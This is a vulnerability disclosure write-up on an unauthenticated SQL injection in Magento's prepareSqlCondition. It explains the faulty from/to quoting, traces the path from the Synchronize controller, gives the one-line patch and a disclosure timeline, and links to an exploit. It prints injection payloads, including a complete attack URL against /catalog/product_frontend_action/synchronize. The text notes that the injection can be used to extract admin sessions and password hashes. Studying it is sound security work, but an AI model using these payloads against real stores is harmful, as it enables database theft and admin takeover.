Magento
After attacking PrestaShop several months ago, my next target of choice was another eCommerce platform, Magento. This platform is one of the most used around the world, after WooCommerce, and it supported over $101 billion in digital commerce for customers last year.
Due to this fact, Magento gives a lot of importance to security, rewarding bug hunters for good amounts of money, and making sure vulnerabilities are fixed, even in the back office. It has recently been acquired by Adobe and now aligns on the Adobe vulnerability disclosure program.
Nevertheless, two critical vulnerabilities were found. One of them is an unauthenticated SQL injection.
Code audit
Magento has a huge codebase - more than 2 million lines of PHP. Evidently, manually auditing its code had to be a tedious task. Nevertheless, the two excellent RCE vulnerabilities found by Netanel Rubin gave us directions, as they targeted two things:
These two vectors were then likely to be clean of vulnerabilities, as they had been audited before. Hence, I chose to have a look at something that had not been targeted yet: the code responsible for their ORM and DB management.
SQL Injection
Sink
One of the main classes handling the DB is Magento\Framework\DB\Adapter\Pdo\Mysql. After a few minutes of auditing, an interesting bug emerged in one of its method, prepareSqlCondition.
/****
** Build SQL statement for condition
**
** If $condition integer or string - exact value will be filtered ('eq' condition)
**
** If $condition is array is - one of the following structures is expected:
** - array("from" => $fromValue, "to" => $toValue)
** - array("eq" => $equalValue)
** - array("neq" => $notEqualValue)
** - array("like" => $likeValue)
** - array("in" => array($inValues))
** - array("nin" => array($notInValues))
** - array("notnull" => $valueIsNotNull)
** - array("null" => $valueIsNull)
** - array("gt" => $greaterValue)
** - array("lt" => $lessValue)
** - array("gteq" => $greaterOrEqualValue)
** - array("lteq" => $lessOrEqualValue)
** - array("finset" => $valueInSet)
** - array("regexp" => $regularExpression)
** - array("seq" => $stringValue)
** - array("sneq" => $stringValue)
**
** If non matched - sequential array is expected and OR conditions
** will be built using above mentioned structure
**
** ...
**/
public function prepareSqlCondition($fieldName, $condition)
{
$conditionKeyMap = [ [1]
'eq' => "{{fieldName}} = ?",
'neq' => "{{fieldName}} != ?",
'like' => "{{fieldName}} LIKE ?",
'nlike' => "{{fieldName}} NOT LIKE ?",
'in' => "{{fieldName}} IN(?)",
'nin' => "{{fieldName}} NOT IN(?)",
'is' => "{{fieldName}} IS ?",
'notnull' => "{{fieldName}} IS NOT NULL",
'null' => "{{fieldName}} IS NULL",
'gt' => "{{fieldName}} > ?",
'lt' => "{{fieldName}} < ?",
'gteq' => "{{fieldName}} >= ?",
'lteq' => "{{fieldName}} <= ?",
'finset' => "FIND_IN_SET(?, {{fieldName}})",
'regexp' => "{{fieldName}} REGEXP ?",
'from' => "{{fieldName}} >= ?",
'to' => "{{fieldName}} <= ?",
'seq' => null,
'sneq' => null,
'ntoa' => "INET_NTOA({{fieldName}}) LIKE ?",
];
$query = '';
if (is_array($condition)) {
$key = key(array_intersect_key($condition, $conditionKeyMap));
if (isset($condition['from']) || isset($condition['to'])) { [2]
if (isset($condition['from'])) { [3]
$from = $this->_prepareSqlDateCondition($condition, 'from');
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
}
if (isset($condition['to'])) { [4]
$query .= empty($query) ? '' : ' AND ';
$to = $this->_prepareSqlDateCondition($condition, 'to');
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5]
}
} elseif (array_key_exists($key, $conditionKeyMap)) {
$value = $condition[$key];
if (($key == 'seq') || ($key == 'sneq')) {
$key = $this->_transformStringSqlCondition($key, $value);
}
if (($key == 'in' || $key == 'nin') && is_string($value)) {
$value = explode(',', $value);
}
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
} else {
$queries = [];
foreach ($condition as $orCondition) {
$queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
}
$query = sprintf('(%s)', implode(' OR ', $queries));
}
} else {
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
}
return $query;
}
protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3]
{
$sql = $this->quoteInto($text, $value);
$sql = str_replace('{{fieldName}}', $fieldName, $sql);
return $sql;
}
Overall, the function builds an SQL condition from an SQL field name, and an array representing an operator (=, !=, >, etc.) and a value. To do so, it maps the given condition alias to a pattern using $conditionKeyMap [1], and replaces every ? character in the alias by a quoted version of the given value using _prepareQuotedSqlCondition() [3]. For instance:
$db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";
Nevertheless, a problem arises when the from and to conditions are used in conjunction [2], generally to ensure a field is contained within a range. For instance:
$db->prepareSqlCondition('price', [
'from' => '100'
'to' => '1000'
]);
$query = "price >= '100' AND price <= '1000'";
When the two conditions (from and to) are present, the code first handles the from part [3], and then the other [4], but a crucial mistake is made at this point [5]: the query generated for from is reused for formatting.
As a consequence, since every ? is replaced by the given value, if a question mark is present in the value for from, it will be replaced by the quoted version of the value for to. Here's a way to break the SQL query and hence provoke an SQL injection:
$db->prepareSqlCondition('price', [
'from' => 'some?value'
'to' => 'BROKEN'
]);
# FROM
$query = $db->_prepareQuotedSqlCondition("{{fieldName}} >= ?", 'some?value', 'price')
-> $query = "price >= 'some?value'"
# TO
$query = $db->_prepareQuotedSqlCondition($query . "AND {{fieldName}} <= ?", 'BROKEN', 'price')
-> $query = $db->_prepareQuotedSqlCondition("price >= 'some?value' AND {{fieldName}} <= ?", 'BROKEN', 'price')
-> $query = "price >= 'some'BROKEN'value' AND price <= 'BROKEN'"
The first occurrence of BROKEN is outside quotes. In order to perform a valid SQL injection, we can do something like this:
$db->prepareSqlCondition('price', [
'from' => 'x?'
'to' => ' OR 1=1 -- -'
]);
-> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"
Codewise, in order to avoid the bug, this line:
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
should have been:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
This mistake, albeit minor, is very impactful: if we can control the second argument to prepareSqlCondition completely, we have an SQL injection. Surprisingly enough, this piece of code has been present since Magento 1.x !
Source
As said before, there are many lines of code in Magento, and finding a way to reach the bug was tiring. After running out of smart ways to do it, I chose to go over every single controller one by one until I found a source. Luckily, after less than a dozen, a candidate was found: Magento\Catalog\Controller\Product\Frontend\Action\Synchronize.
public function execute()
{
$resultJson = $this->jsonFactory->create();
try {
$productsData = $this->getRequest()->getParam('ids', []);
$typeId = $this->getRequest()->getParam('type_id', null);
$this->synchronizer->syncActions($productsData, $typeId);
} catch (\Exception $e) {
$resultJson->setStatusHeader(
\Zend\Http\Response::STATUS_CODE_400,
\Zend\Http\AbstractMessage::VERSION_11,
'Bad Request'
);
}
return $resultJson->setData([]);
}
Here's the call stack that eventually leads to the bug:
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);
This codepath has been present since Magento 2.2.0 only.
And here's an URL resulting in an unauthenticated blind SQL injection:
https://magento2website.com/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
Now that anything can be read from the database, we can extract admin sessions or password hashes and use them to access the backend.
Patching
The patch for the SQL injection is trivial:
File: vendor/magento/framework/DB/Adapter/Pdo/Mysql.php Line: 2907
- $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
+ $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
Magento released version 2.3.1, along with patched versions for 2.2.x, 2.1.x, and 1.1. Patch your servers!
Timeline
- 09 Nov 2018: Bug reported through Bugcrowd
- 26 Nov 2018: Bug marked as P1
- 19 Mar 2019: We ask for an update (4 months !)
- 19 Mar 2019: Magento rewards us with a bounty, and notifies us that an update is on the way
- 26 Mar 2019: Magento releases a new version, patching the bugs
We're hiring !
Ambionics is an entity of Lexfo, and we're hiring ! To learn more about job opportunities, do not hesitate to contact us at rh@lexfo.fr.
Exploit
The exploit is available here: Magento SQL injection.